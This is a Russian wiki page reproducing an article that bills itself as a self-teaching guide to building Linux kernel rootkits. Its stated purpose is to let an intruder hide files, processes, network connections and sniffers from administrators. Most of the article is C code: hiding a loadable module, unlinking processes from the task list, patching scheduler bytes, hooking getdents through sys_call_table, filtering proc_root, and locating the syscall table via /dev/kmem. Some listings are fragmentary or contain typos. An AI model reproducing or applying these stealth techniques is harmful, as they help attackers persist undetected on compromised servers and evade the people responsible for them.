Различия

Здесь показаны различия между двумя версиями данной страницы.

Ссылка на это сравнение

articles:linux.hide [2017/09/05 02:55] (текущий)
Строка 1: Строка 1:
 +====== linux.hide ======
 +<​sub>​{{linux.hide.odt|Original file}}</​sub>​
 +
 +====== прятки в linux ======
 +
 +крис касперски ака мыщъх, no-email
 +
 +**простым и доходчивым языком мы расскажем,​ как спрятать свои файлы, процессы и сетевые соединения под осью типа Линух с ядрами версий 2.4 – 2.6, обобщая опыт хакерских атак нескольких последних лет. это не руководство по настройке ****adore****,​ которых пруд пруди в сети, это — самоучитель по созданию собственных ****rootkit****'​ов,​ намного более крутых,​ надежных и неуловимых,​ чем ****adore**** и ****knark**** все вместе взятые.**
 +
 +===== введение =====
 +
 +Проникнуть на атакующему машину это еще не все! Необходимо спрятать свои файлы, процессы и сетевые соединения,​ иначе придет админ и выбросит нас из системы на хрен[и все похерит]. Этим занимается **adore**, **knark** и другие rootkit'​ы,​ которые легко найти в сети, правда не все из них работают. К тому же против любого широко распространенного rootkit'​а,​ каким бы хитроумным он ни был, разработаны специальные методы борьбы.
 +
 +Настоящий хакер, тем и отличается от жалкого подобия своих подражателей,​ что разрабатывает весь необходимый инструментарий самостоятельно или на худой конец адоптирует уже существующий. Хотите узнать как это сделать?​ Тогда читайте эту статью до конца.
 +
 +{{linux.hide_Image_0.png}}
 +
 +Рисунок 1 последствия abore 0.42,​ запущенного из-под KNOPPIX 3.7 LiveCD
 +
 +===== модуль раз, модуль два… =====
 +
 +Подавляющее большинство методик стелсирования работает на уровне ядра, пристыковываясь к нему в виде загружаемого модуля (//​**L**////​oadable////​**K**////​ernel////​**M**////​odule//​ или сокращенно **LKM**). В программировании модулей нет ничего сложного,​ особенно для старых ядер с версией 2.4.
 +
 +Исходный текст простейшего модуля выглядит так:
 +
 +
 +
 +// сообщаем компилятору,​ что это модуль режима ядра
 +
 +#define MODULE
 +
 +#define __KERNEL__
 +
 +// подключаем заголовочный файл для модулей
 +
 +#include <​linux/​module.h>​
 +
 +// на многоЦП'​шных машинах подключаем еще и smp_lock
 +
 +#ifdef __SMP__
 +
 +#include <​linux/​smp_lock.h>​
 +
 +#endif
 +
 +// функция,​ выполняющая при загрузке модуля
 +
 +int init_module(void)
 +
 +{
 +
 +// свершилось! мы вошли в режим ядра
 +
 +// и теперь можем делать _все_ что угодно!
 +
 +// с порога ссать, с балкона мусор кидать,​
 +
 +// баб е…
 +
 +
 +
 +
 +
 +
 +
 +// мяукнем что-нибудь
 +
 +printk("​\nWOW! Our module has been loaded!\n"​);​
 +
 +
 +
 +// успешная инициализация
 +
 +return(0);
 +
 +}
 +
 +// функция,​ выполняющаяся при выгрузке модуля
 +
 +void cleanup_module(void)
 +
 +{
 +
 +// мяукнем что-нибудь
 +
 +printk("​\nFuck! Our module has been unloaded\n"​);​
 +
 +}
 +
 +// пристыковываем лицензию,​ по которой распространяется
 +
 +// данный файл, если этого не сделать,​ модуль успешно
 +
 +// загрузится,​ но операционная система выдаст warring,
 +
 +// сохраняющийся в логах и привлекающий внимание админов
 +
 +MODULE_LICENSE("​GPL"​);​
 +
 +Листинг 1 скелет простейшего модуля для ядер с версией 2.4
 +
 +Начиная с версии 2.6 в ядре произошли значительные изменения и теперь программировать приходится так:
 +
 +#ifdef LINUX26
 +
 +static int __init my_init()
 +
 +#else
 +
 +int init_module()
 +
 +#endif
 +
 +#ifdef LINUX26
 +
 +static void __exit my_cleanup()
 +
 +#else
 +
 +int cleanup_module()
 +
 +#endif
 +
 +#ifdef LINUX26
 +
 +module_init(my_init);​
 +
 +module_exit(my_cleanup);​
 +
 +#endif
 +
 +Листинг 2 скелет простейшего модуля для ядер с версией 2.6
 +
 +За подробностями обращайтесь к man'у ("​man –k module"​),​ официальной документации (/​usr/​src/​linux/​Documentation/​modules.txt) или книге "​Linuxkernelinternails",​ которую легко найти в Осле. Как бы там ни было, только что написанный модуль необходимо откомпилировать:​ "​**gcc ****–****c my****_****module****.****c ****–****o my****_****module****.****o**"​ (настоятельно рекомендуется задействовать оптимизацию,​ добавив ключ –O2 или -O3), а затем загрузить внутрь ядра: "​**insmod my****_****module****.****o**"​. Загружать модули может только root. Не спрашивайте меня, как его получить — это тема отдельного разговора. Чтобы модуль автоматически загружался вместе с операционной системой — добавьте его в файл /​etc/​modules.
 +
 +Команда "​**lsmod**"​ (или "​**dd**** ****if****=/​****proc****/​****modules**** ****bs****=1**"​) отображает список загруженных модулей,​ а "​**rmmod**** ****my****_****module**"​ выгружает модуль из памяти. Обратите внимание на отсутствие расширения в последней случае.
 +
 +Module ​ Size  Used by  Tainted: P  ​
 +
 +**my_module ​ 240  0  (unused)**
 +
 +parport_pc ​ 25128  1  (autoclean)
 +
 +lp  7460  0 
 +
 +processor ​ 9008  0  [thermal]
 +
 +
 +
 +fan  1600  0  (unused)
 +
 +button ​ 2700  0  (unused)
 +
 +rtc  7004  0  (autoclean)
 +
 +BusLogic ​ 83612  2  (autoclean)
 +
 +ext3  64388  1  (autoclean)
 +
 +Листинг 3 список модулей,​ выданный командой lsmod, строка с нашим модулем выделена полужирным шрифтом
 +
 +Неожиданное появление новых модулей всегда настораживает админов,​ поэтому прежде чем приступать к боевым действиям,​ мы должны как следует замаскироваться. Автору известно три способа маскировки:​ а) исключение модуля из списка модулей (метод J.B.,​ см. файл modhide1.c) – крайне ненадежен,​ препятствует нормально работе ps, top и других подобных утилит,​ часто роняет систему;​ б) перехват обращений к /​proc/​modules (метод Runar'​aJensen'​а,​ опубликованный на Bugtraq и реализующийся так же, как и перехват остальных обращений к файловой системе) — довольно громоздкий и ненадежный метод, бессильный против команды "​dd if=/​proc/​modules bs=1";​ в) затирание структуры module info (метод Solar'​a Designer'​a,​ описанный в статье "​Weakening the Linux Kernel",​ опубликованной в 52 номере PHRACK'​a) — элегантный и довольно надежный. Расскажем о нем поподробнее.
 +
 +Вся информация о модуле хранится в структуре module info,​ содержащейся внутри системного вызова sys_init_module(). Подготовив модуль к загрузке и заполнив module info надлежащим образом,​ он передает управление нашей функции init_module (см. "​man init_module"​). Любопытная особенность ядра — безымянные модули без референсов не отображаются! Чтобы удалить модуль из списка достаточно обнулить поля name и refs. Это легко. Определить адрес самой module info намного сложнее. Ядро не заинтересовано сообщать его первому встречному хакеру и приходится действовать исподтишка. Исследуя мусор, оставшийся в регистрах,​ на момент передачи управления init_module,​ SolarDsigner обнаружил,​ что в одним из них содержится указатель на… module info! В его версии ядра это был регистр EBX, в иных версиях он может быть совсем другим или даже вовсе никаким. К тому же существует специальная заплатка для старых ядер, затыкающая эту лазейку,​ правда,​ далеко не у всех она установлена. Впрочем,​ эффективный адрес module info легко установить дизассемблированием,​ точнее не адрес module info(память под него выделяется динамически),​ а адрес машинной инструкции,​ ссылающейся на module info. Правда,​ в каждой версии ядра он будет своим…
 +
 +Простейший пример маскировки выглядит так (кстати,​ в PHRACK'​e опечатка:​ "​ref"​ вместо "​refs"​):​
 +
 +int init_module()
 +
 +{
 +
 +register struct module *mp asm("​%ebx"​);//​ подставьтесюдарегистр,​
 +
 +// в котором ваше ядро держит
 +
 +// адрес module info
 +
 +
 +
 +*(char*)mp->​name=0;//​ затираем имя модуля
 +
 +mp->​size=0;//​ затираем размер
 +
 +mp->​refs=0;//​ затираем референсы
 +
 +}
 +
 +Листинг 4 маскировка модуля методом Solar'​aDsigner'​a
 +
 +Неправильное определение адреса module info скорее всего уронит ядро системы или заблокирует просмотр списка модулей,​ что сразу же насторожит администратора (см. рис 2). Но у нас есть в запасе еще один вариант.
 +
 +Просматриваем список установленных модулей,​ находим из них самый ненужный,​ выгружаем его из памяти,​ и загружаем свой — с таким же точно именем. Если нам повезет,​ администратор ничего не заметит…
 +
 +{{linux.hide_Image_1.png}}
 +
 +Рисунок 2 последствия маскировки модуля методом Solar'​aDsigner'​a — команды insmod/​lsmod/​rmmod больше не работают
 +
 +===== исключение процесса из списка задач =====
 +
 +Перечень всех процессоров хранится внутри ядра в виде двунаправленного списка **task****_****struct**,​ определение которого можно найти в файле linux/​sched.h. next_task указывает на следующий процесс в списке,​ prev_task – на предыдущий. Физически task_struct содержится внутри **PCB**-блоков (//​**P**////​rocess////​**C**////​ontrol////​**B**////​lock//​),​ адрес которых известен каждому процессу. Переключение контекста осуществляется планировщиком (scheduler),​ который определяет какой процесс будет выполняется следующим (см. рис 3). Если мы исключим наш процесс из списка,​ он автоматически исчезнет из списка процессов /proc, но больше никогда не получит управление,​ что в наши планы вообще-то не входит.
 +
 +{{linux.hide_Image_2.png}}
 +
 +Рисунок 3 организация процессов в Линухе
 +
 +Просматривая список процессов,​ легко обнаружить,​ что в нем отсутствует процесс,​ PID которого равен нулю. А ведь такой процесс (точнее — псевдопроцесс) есть! Он создается операционной системой для подсчета загрузки ЦП и прочих служебных целей.
 +
 +Допустим,​ нам необходимо скрыть процесс с идентификатором 1901. Исключаем его из двунаправленного списка,​ склеивая между собой поля next_task/​prev_task двух соседних процессов. Подцепляем наш процесс к процессу с нулевым PID'​ом,​ оформляя себя как материнский процесс (за это отвечает поле p_pptr) и… модифицируем код планировщика так, чтобы родитель процесса с нулевым PID'​ом хотя бы эпизодически получал управление (см. рис 4). Если необходимо скрыть более одного процесса,​ их можно объединить в цепочку,​ используя поле p_pptr или любое другое реально незадействованное поле.
 +
 +{{linux.hide_Image_3.png}}
 +
 +Рисунок 4 удаление процесса из двунаправленного списка процессов
 +
 +Исходный код планировщика содержится в файле /​usr/​src/​linux/​kernel/​sched.c. Нужный нам фрагмент легко найти по ключевому слову "​goodness"​ (имя функции,​ определяющей "​значимость"​ процесса в глазах планировщика). В различных ядрах он выглядит по разному. Например,​ моя версия реализована так:
 +
 +c = -1000;// начальное значение "​веса"​
 +
 +// ищем процесс с наибольшим "​весом"​ в очереди исполняющихся процессов
 +
 +while (p != &​init_task)
 +
 +{
 +
 +// определяем "​вес"​ процесса в глазах планировщика
 +
 +// (т.е. степень его нужды в процессорном времени)
 +
 +******weight = goodness(prev,​ p);**
 +
 +
 +
 +// выбираем процесс сильнее всех нуждающихся в процессорном времени
 +
 +// для процессоров с одинаковым "​весом"​ используем поле prev
 +
 +if (weight > c)
 +
 +{
 +
 +c = weight; next = p;
 +
 +}
 +
 +p = p->​next_run;​
 +
 +}
 +
 +if (!c)
 +
 +{
 +
 +// все процессы выработали свои кванты,​ начинаем новую эпоху
 +
 +// хорошее место, чтобы добавить передачу управления на замаскированный процесс
 +
 +
 +
 +}
 +
 +Листинг 5 сердце планировщика
 +
 +Процедура внедрения в планировщик осуществляется по стандартной схеме: а) сохраняем затираемые инструкции в стеке; б) вставляем команду перехода на нашу функцию,​ распределяющую процессорные кванты нулевого процесса среди скрытых процессов;​ в) выполняем ранее сохраненные инструкции;​ г) возвращаем управление функции-носителю.
 +
 +Простейшая программная реализация выглядит так:
 +
 +/* 
 +
 +DoubleChain,​ a simple function hooker
 +
 +by Dark-Angel <​Dark0@angelfire.com>​
 +
 +*/
 +
 +#define __KERNEL__
 +
 +#define MODULE
 +
 +#define LINUX
 +
 +#include <​linux/​module.h>​
 +
 +#define CODEJUMP 7
 +
 +#define BACKUP 7
 +
 +/* The number of the bytes to backup is variable (at least 7),
 +
 +the important thing  is never break an istruction
 +
 +*/
 +
 +static char backup_one[BACKUP+CODEJUMP]="​\x90\x90\x90\x90\x90\x90\x90"​
 +
 + "​\xb8\x90\x90\x90\x90\xff\xe0";​
 +
 +static char jump_code[CODEJUMP]="​\xb8\x90\x90\x90\x90\xff\xe0";​
 +
 +#define FIRST_ADDRESS 0xc0101235 //Address of the function to overwrite
 +
 +unsigned long *memory;
 +
 +void cenobite(void) {
 +
 +printk("​Function hooked successfully\n"​);​
 +
 +asm volatile("​mov %ebp,​%esp;​popl %esp;jmp backup_one);​
 +
 +/* 
 +
 +This asm code is for stack-restoring. The first bytes of a function
 +
 +(Cenobite now) are always for the parameters pushing.Jumping away the
 +
 +function can't restore the stack, so we must do it by hand.
 +
 +With the jump we go to execute the backupped code and then we jump in
 +
 +the original function.
 +
 +*/
 +
 +}
 +
 +int init_module(void) {
 +
 +*(unsigned long *)&​jump_code[1]=(unsigned long )cenobite;
 +
 +*(unsigned long *)&​backup_one[BACKUP+1]=(unsigned long)(FIRST_ADDRESS+
 +
 +BACKUP);
 +
 +memory=(unsigned long *)FIRST_ADDRESS;​
 +
 +memcpy(backup_one,​memory,​CODEBACK);​
 +
 +memcpy(memory,​jump_code,​CODEJUMP);​
 +
 +return 0;
 +
 +}
 +
 +void cleanup_module(void) {
 +
 +memcpy(memory,​backup_one,​BACKUP);​
 +
 +}
 +
 +Листинг 6 процедура-гарпун,​ вонзающаяся в тело планировщика
 +
 +Поскольку,​ машинное представление планировщика зависит не только он версии ядра, но и от ключей компиляции,​ атаковать произвольную систему практически нереально. Предварительно необходимо скопировать ядро на свою машину и дизассемблировать его, а после разработать подходящую стратегию внедрения.
 +
 +Если атакуемая машина использует штатное ядро, мы можем попробовать опознать его версию по сигнатуре,​ используя заранее подготовленную стратегию внедрения. Далеко не все админы перекомпилируют свои ядра, поэтому такая тактика успешно работает. Впервые она была представлена на европейской конференции Black Hat в 2004 году, электронная презентация которой находится в файле http://​www.blackhat.com/​presentations/​bh-europe-04/​bh-eu-04-butler.pdf. По этому принципу работают многие rootkit'​ы и, в частности,​ **Phantasmagoria**.
 +
 +===== перехват системных вызовов =====
 +
 +Помните MS-DOS? Там стелстирование осуществлялось путем подмены прерываний int 13h/​int 21h. В LINUX для той же цели используется перехват системных вызовов (system call или сокращенно syscall). Для сокрытия процессов и файлов достаточно перехватить всего один низ них — getdents, на которую опирается всем известная readdir, которая,​ в полном согласии со своим именем,​ читает содержимое директорий (и директории /proc в том числе! Другого легального способа просмотра списка процессов под LINUX в общем-то и нет). Функция-перехватчик садится поверх getdents и просматривает возращенный ею результат,​ выкусывая из него все "​лишнее",​ то есть работает как фильтр.
 +
 +Сетевые соединения стелсируется аналогичным образом (они монтируются на /proc/net). Чтобы замаскировать сниффер,​ необходимо перехватить системный вызов **ioctl**, подавляя PROMISC-флаг. А перехват системного вызова **get_kernel_symbol****s** позволяет замаскировать LKM-модуль так, что его никто не найдет.
 +
 +Звучит заманчиво. Остается только реализовать это на практике. Ядро экспортирует переменную **extern void sys****_****call****_****table**,​ содержащую массив указателей на syscall'​ы,​ каждая ячейка которого содержит либо действительный указатель на соответствующий syscall, либо NULL, свидетельствующий о том, что данный системный вызов не реализован.
 +
 +Просто объявите в своем модуле переменную *sys_call_table[] и тогда все системные вызовы окажутся в ваших руках. Имена известных syscall'​ов перечислены в файле /​usr/​include/​sys/​syscall.h. В частности,​ sys_call_table[SYS_getdents] возвращает указатель на getdents.
 +
 +Простейший пример перехвата выглядит так (за более подробной информацией обращайтесь к статье "​Weakening the Linux Kernel",​ опубликованной в 52 номере PHRACK'​а):​
 +
 +// указатель на таблицу системных вызовов
 +
 +extern void *sys_call_table[];​
 +
 +// указатели на старые системные вызовы
 +
 +int (*o_getdents) (uint, struct dirent *, uint);
 +
 +// перехват!
 +
 +int init_module(void)
 +
 +{
 +
 +// получаем указатель на оригинальный
 +
 +// системный вызов SYS_getdents
 +
 +// и сохраняем его в переменной o_getdents
 +
 +o_getdents = sys_call_table[SYS_getdents];​
 +
 +
 +
 +// заносим указатель на функцию перехватчик
 +
 +// (код самого перехватчика для экономии здесь не показан)
 +
 +sys_call_table[SYS_getdents] = (void *) n_getdents;
 +
 +
 +
 +// возвращаемся
 +
 +return 0;
 +
 +}
 +
 +// восстановление оригинальных обработчиков
 +
 +void cleanup_module(void)
 +
 +{
 +
 +sys_call_table[SYS_getdents] = o_getdents;
 +
 +}
 +
 +Листинг 7 техника перехвата системных вызовов
 +
 +По такому принципу работает подавляющее большинство rootkit'​ов,​ правда,​ попав на неизвестное ядро, часть из них со страшным грохотом падает,​ а часть просто прекращает работу,​ что и не удивительно! Ведь раскладка системных вызовов меняется от ядра к ядру!
 +
 +{{linux.hide_Image_4.png}}
 +
 +Рисунок 5 последствия неудачного перехвата системных вызовов
 +
 +===== перехват запросов к файловой системе =====
 +
 +Ядро экспортирует переменную **proc****_****root** — корневой узел (root inode) виртуальной файловой системы proc_root, традиционно монтируемой на директорию /proc. При желании мы можем установить поверх нее свой собственный фильтр-обработчик,​ скрывающий хакерские процессы от чужих глаз. В отличии от системных вызовов,​ перехват переменной proc_root не чувствителен к версии ядра, а это уже преимущество!
 +
 +Простейший перехватчик может выглядеть так (за более подробной информацией обращайтесь к статье "Sub proc_root Quando Sumus",​ опубликованной в 3Ah номере PHRACK'​a):​
 +
 +// глобальный указатель на оригинальную filldir-функцию
 +
 +filldir_t real_filldir;​
 +
 +static int new_filldir_root (void* __buf,const char* name,int namlen,​off_t offset, ino_t ino)
 +
 +{
 +
 +// анализируем каждое имя в директории,​
 +
 +// если это имя того модуля/​процесса/​файла/​сетевого соединения,​
 +
 +// которое мы хотим скрыть,​ возвращаем нуль,
 +
 +// в противном случае передаем управление оригинальной
 +
 +// filldir-функции
 +
 +if (isHidden (name)) return 0;
 +
 +return real_filldir (__buf, name, namlen, offset, ino);
 +
 +}
 +
 +// новая функция readdir
 +
 +int new_readdir_root (struct file *a, void *b, filldir_t c)
 +
 +{
 +
 +// инициализируем указатель на оригинальную filldir-функцию
 +
 +// вообще-то,​ это необязательно делать каждый раз, просто
 +
 +// так нам так проще…
 +
 +real_filldir = c;
 +
 +return old_readdir_root (a, b, new_filldir_root);​
 +
 +}
 +
 +// устанавливаем свой собственный фильтр
 +
 +proc_root.FILE_OPS->​readdir = new_readdir_root;​
 +
 +Листинг 8 новый фильтр для файловой системы proc_root
 +
 +===== когда модули недоступны… =====
 +
 +Для борьбы с LKM-rootkit'​ами некоторые админы компилируют ядро без поддержки загружаемых модулей и удаляют файл System.map, лишая нас таблицы символов. А без нее хрен что найдешь. Но хакеры выживают даже в этих суровых условиях….
 +
 +Идеология UNIX выгодно отличается от Windows тем, что любая сущность (будь то устройство,​ процесс или сетевое соединение) монтируется на файловую систему,​ подчинясь общим правилам. Не избежала этой участи и оперативная память,​ представленная "​псеводустройствами"​ /dev/mem (физическая память до виртуальной трансляции) и /dev/kmem (физическая память после виртуальной трансляции). Манипулировать с данными устройствами может только root, однако,​ спускаться на уровень ядра ему необязательно,​ а, значит,​ поддержка модульности нам не нужна!
 +
 +Следующие функции демонстрируют технику чтения/​записи ядерной памяти с прикладного уровня:​
 +
 +// чтение данных из /dev/kmem
 +
 +static inline int rkm(int fd, int offset, void *buf, int size)
 +
 +{
 +
 +if (lseek(fd, offset, 0) != offset) return 0;
 +
 +if (read(fd, buf, size) != size) return 0;
 +
 +return size;
 +
 +}
 +
 +// запись данных в /dev/kmem
 +
 +static inline int wkm(int fd, int offset, void *buf, int size)
 +
 +{
 +
 +if (lseek(fd, offset, 0) != offset) return 0;
 +
 +if (write(fd, buf, size) != size) return 0;
 +
 +return size;
 +
 +}
 +
 +Листинг 9 чтение/​запись в/из /dev/kmem
 +
 +Остается только найти во всем этом мусоре таблицу системных вызовов. Да как же мы ее найдем,​ если никакой символьной информации у нас нет?! Без паники! Нам помогут центральный процессор и машинный код обработчика прерывания INT 80h, которое этими системными вызовами,​ собственно говоря,​ и заведует.
 +
 +Его дизассемблерный листинг в общем случае выглядит так:
 +
 +0xc0106bc8 <​system_call>:​push%eax
 +
 +0xc0106bc9 <​system_call+1>:​cld
 +
 +0xc0106bca <​system_call+2>:​push%es
 +
 +0xc0106bcb <​system_call+3>:​push%ds
 +
 +0xc0106bcc <​system_call+4>:​push%eax
 +
 +0xc0106bcd <​system_call+5>:​push%ebp
 +
 +0xc0106bce <​system_call+6>:​push%edi
 +
 +0xc0106bcf <​system_call+7>:​push%esi
 +
 +0xc0106bd0 <​system_call+8>:​push%edx
 +
 +0xc0106bd1 <​system_call+9>:​push%ecx
 +
 +0xc0106bd2 <​system_call+10>:​push%ebx
 +
 +0xc0106bd3 <​system_call+11>:​mov$0x18,​%edx
 +
 +0xc0106bd8 <​system_call+16>:​mov%edx,​%ds
 +
 +0xc0106bda <​system_call+18>:​mov%edx,​%es
 +
 +0xc0106bdc <​system_call+20>:​mov$0xffffe000,​%ebx
 +
 +0xc0106be1 <​system_call+25>:​and%esp,​%ebx
 +
 +0xc0106be3 <​system_call+27>:​cmp$0x100,​%eax
 +
 +0xc0106be8 <​system_call+32>:​jae0xc0106c75 <​badsys>​
 +
 +0xc0106bee <​system_call+38>:​testb$0x2,​0x18(%ebx)
 +
 +0xc0106bf2 <​system_call+42>:​jne0xc0106c48 <​tracesys>​
 +
 +**0xc0106bf4 <​system_call+44>:​call*0xc01e0f18(,​%eax,​4) <-- that's it**
 +
 +0xc0106bfb <​system_call+51>:​mov%eax,​0x18(%esp,​1)
 +
 +0xc0106bff <​system_call+55>:​nop
 +
 +Листинг 10 фрагмент дизассемблерного листинга обработчика прерывания INT 80h
 +
 +Смотрите,​ по адресу 0C0106BF4h расположена команда CALL, непосредственным аргументом которой является… указатель на таблицу системных вызовов! Адрес команды CALL может меняться от одного ядра к другому,​ или это даже может быть совсем не CALL – в некоторых ядрах указатель на таблицу системных вызовов передается через промежуточный регистр командой MOV. Короче,​ нам нужна команда,​ одним из аргументов который является непосредственный операнд X >​ 0C000000h. Естественно,​ чтобы его найти потребуется написать простенький дизассемблер (звучит страшнее,​ чем выглядит) или найти готовый движок в сети. Там их до… ну в общем много.
 +
 +А как найти адрес обработчика INT 80h в файле /dev/kmem? Просто спросите об этом процессор — он скажет. Команда SIDT возвращает содержимое таблицы дескрпыторов прерываний (InterruptDescriptorTable),​ восьмидесятый'​h элемент с краю и есть наш обработчик!
 +
 +Ниже приведен фрагмент кода, определяющего позицию таблицы системных вызовов в /​dev/​kmem(полная версия содержится в статье "Linux on-the-fly kernel patching without LKM" из 3Ah номера PHRACK'​а):​
 +
 +// анализируем первые 100 байт обработчика
 +
 +#define CALLOFF 100
 +
 +main ()
 +
 +{
 +
 +unsigned sys_call_off;​
 +
 +unsigned sct;
 +
 +char sc_asm[CALLOFF],​*p;​
 +
 +
 +
 +// читаем содержимое таблицы прерываний
 +
 +asm ("sidt %0" : "​=m"​ (idtr));
 +
 +printf("​idtr base at 0x%X\n",​(int)idtr.base);​
 +
 +
 +
 +// открываем /dev/kmem
 +
 +kmem = open ("/​dev/​kmem",​O_RDONLY);​
 +
 +if (kmem<0) return 1;
 +
 +
 +
 +// считывает код обработчика INT 80h из /dev/kmem
 +
 +readkmem (&​idt,​idtr.base+8*0x80,​sizeof(idt));​
 +
 +sys_call_off = (idt.off2 << 16) | idt.off1;
 +
 +printf("​idt80:​ flags=%X sel=%X off=%X\n",​
 +
 +(unsigned)idt.flags,​(unsigned)idt.sel,​sys_call_off);​
 +
 +
 +
 +// ищем косвенный CALL с непосредственным операндом
 +
 +// код самой функции dispatch здесь не показан
 +
 +dispatch (indirect call) */
 +
 +readkmem (sc_asm,​sys_call_off,​CALLOFF);​
 +
 +p = (char*)memmem (sc_asm,​CALLOFF,"​\xff\x14\x85",​3);​
 +
 +sct = *(unsigned*)(p+3);​
 +
 +if (p)
 +
 +{
 +
 +printf ("​sys_call_table at 0x%x, call dispatch at 0x%x\n",​ sct, p);
 +
 +}
 +
 +close(kmem);​
 +
 +}
 +
 +Листинг 11 поиск обработчика INT 80h внутри /dev/kmem
 +
 +{{linux.hide_Image_5.png}}
 +
 +Рисунок 6 просмотр /dev/mem в hex-редакторе
 +
 +===== прочие методы борьбы =====
 +
 +Консольные версии утилит типа **ps** или **top** легко обмануть с помощью длинной цепочки пробелов или символов возврата строки,​ затирающих оригинальное имя. Конечно,​ опытного админа так не проведешь,​ да и против KDE-мониторов такой прием совершенно бессилен,​ однако,​ можно попробовать замаскироваться под какой-нибудь невинный процесс наподобие vi или bash. Правда и здесь все не так просто! Ну кто в наше время работает в vi? И откуда взялась "​лишняя"​ оболочка?​ Наблюдательный админ это сразу заметит. А может и нет… у многих из нас сразу запущенно несколько копий оболочек — кто их считает! Еще можно внедриться в какой-нибудь пользовательский процесс при помощи ptrace (см. мою статью в хакере,​ описывающую отладку под UNIX) – хрен там нас найдешь.
 +
 +На худой конец можно вообще отказаться от маскировки. Процессов в системе много. За всеми и не уследишь. Главное — периодически расщеплять свой процесс на два и прибивать оригинал. Этим мы ослепляем утилиту top, сообщающую админу сколько времени отработал тот или иной процесс.
 +
 +===== >>>​ врезка выноски =====
 +
 +  - adore и многие другие rootkit'​ы не работает на системах,​ загружающихся с носителей только-на-чтение (в частности,​ с LiveCD), приводя к "​отказу в обслуживании";​
 +  - adore и многие другие rootkit'​ы не работают на многопроцессорных системах (а таким являются практически все сервера),​ поскольку лезут в планировщик,​ вместо того, чтобы перехватывать системные вызовы или proc_root;
 +  - adore и многие другие rootkit'​ы не содержат строки MODULE_LICENCE("​GPL"​),​ заставляя систему материться при их загрузке;​
 +===== >>>​ врезка что читать =====
 +
 +  - **Linux kernel internails**
 +    - замечательная книга, созданная коллективом башковитых немецких парней,​ толково и без воды описывающих внутренности линухового ядра (на английском языке);​
 +  - **(nearly) Complete Linux Loadable Kernel Modules**
 +    - хакерское руководство по написанию модулей под Линух и частично под FreeBSD, не стесняющееся говорить о вирусах и rootkit'​ах (на английском языке):​ __http://​packetstormsecurity.org/​docs/​hack/​LKM_HACKING.html;​__
 +  - **Direct Kernel Object Manipulation**
 +    - презентация с конференции BlackHat, рассказывающая как маскируются файлы, процессы и сетевые соединения под Windows и Линух: __http____://​____www____.____blackhat____.____com____/​____presentations____/​____bh____-____europe____-04/​____bh____-____eu____-04-____butler____.____pdf__;​
 +  - **Abuse of the Linux Kernel for Fun and Profit // PHRACK-50**
 +    - посредственная статья о создании LKM-модулей и перехвате системных вызовов под старым Линухом;​
 +  - **Weakening the Linux Kernel // PHRACK-52**
 +    - замечательная статья о создании LKM-модулей для сокрытия файлов,​ процессов и сетевых соединений под старым Линухом;​
 +  - **Sub proc_root Quando Sumus // PHRACK-58**
 +    - кратко о маскировке путем установки своего фильтра поверх VFS;
 +  - **Linux on-the-fly kernel patching without LKM // PHRACK-58**
 +    - перехват системных вызовов без LKM и символьной информации;​
 +  - **Infecting loadable kernel modules ​ // PHRA****С****K-61**
 +    - заражение LKM-модулей;​
 +  - **Kernel Rootkit Experiences // PHRA****С****K-61**
 +    - статья Stealth'​a (автора небезызвестного Adore), обобщающая его опыт создания LKM-Rootkit'​ов;​
 +===== заключение =====
 +
 +Настоящие информационные войны только начинаются… Хакеры сидят в подполье и оттачивают свое мастерство. Количество дыр нарастает как снежный ком, операционные системы и серверные приложения латаются чуть ли не каждый день, стремительно увеличиваясь в размерах и сложности. Уже и разработчики не знаю сколько в них файлов и кто за что отвечает. Затеряться в этих условиях становится не просто,​ а очень просто! ​
 +
 +